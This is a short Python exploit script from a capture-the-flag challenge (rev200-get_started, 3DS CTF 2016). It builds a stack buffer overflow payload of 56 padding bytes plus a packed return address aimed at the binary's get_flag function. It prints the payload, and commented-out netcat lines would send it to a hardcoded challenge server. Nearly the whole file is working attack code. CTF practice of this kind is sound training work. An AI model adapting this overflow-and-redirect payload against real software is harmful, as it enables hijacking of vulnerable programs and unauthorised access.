Buffer overflow using netcat.py to exploit rev200-get_started buffer @ 3dsctf-2k16

get_started_exploit.py

#!/usr/bin/python
## Buffer overflow using netcat.py to exploit rev200-get_started buffer @ 3dsctf-2k16
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

# int_netcat.py - https://gist.github.com/intrd/00a39c83f752acf81775bfa9721e745a

import sys, socket, struct
sys.path.append("../../LIBS/")
from int_netcat import Netcat

#nc = Netcat('54.175.35.248', 8005)

payload = "a"*56
payload += struct.pack("<I", 0x080489b8) #get_flag inside
payload += "\n"

print payload

#nc.write(payload)
#print nc.read()
#nc.close()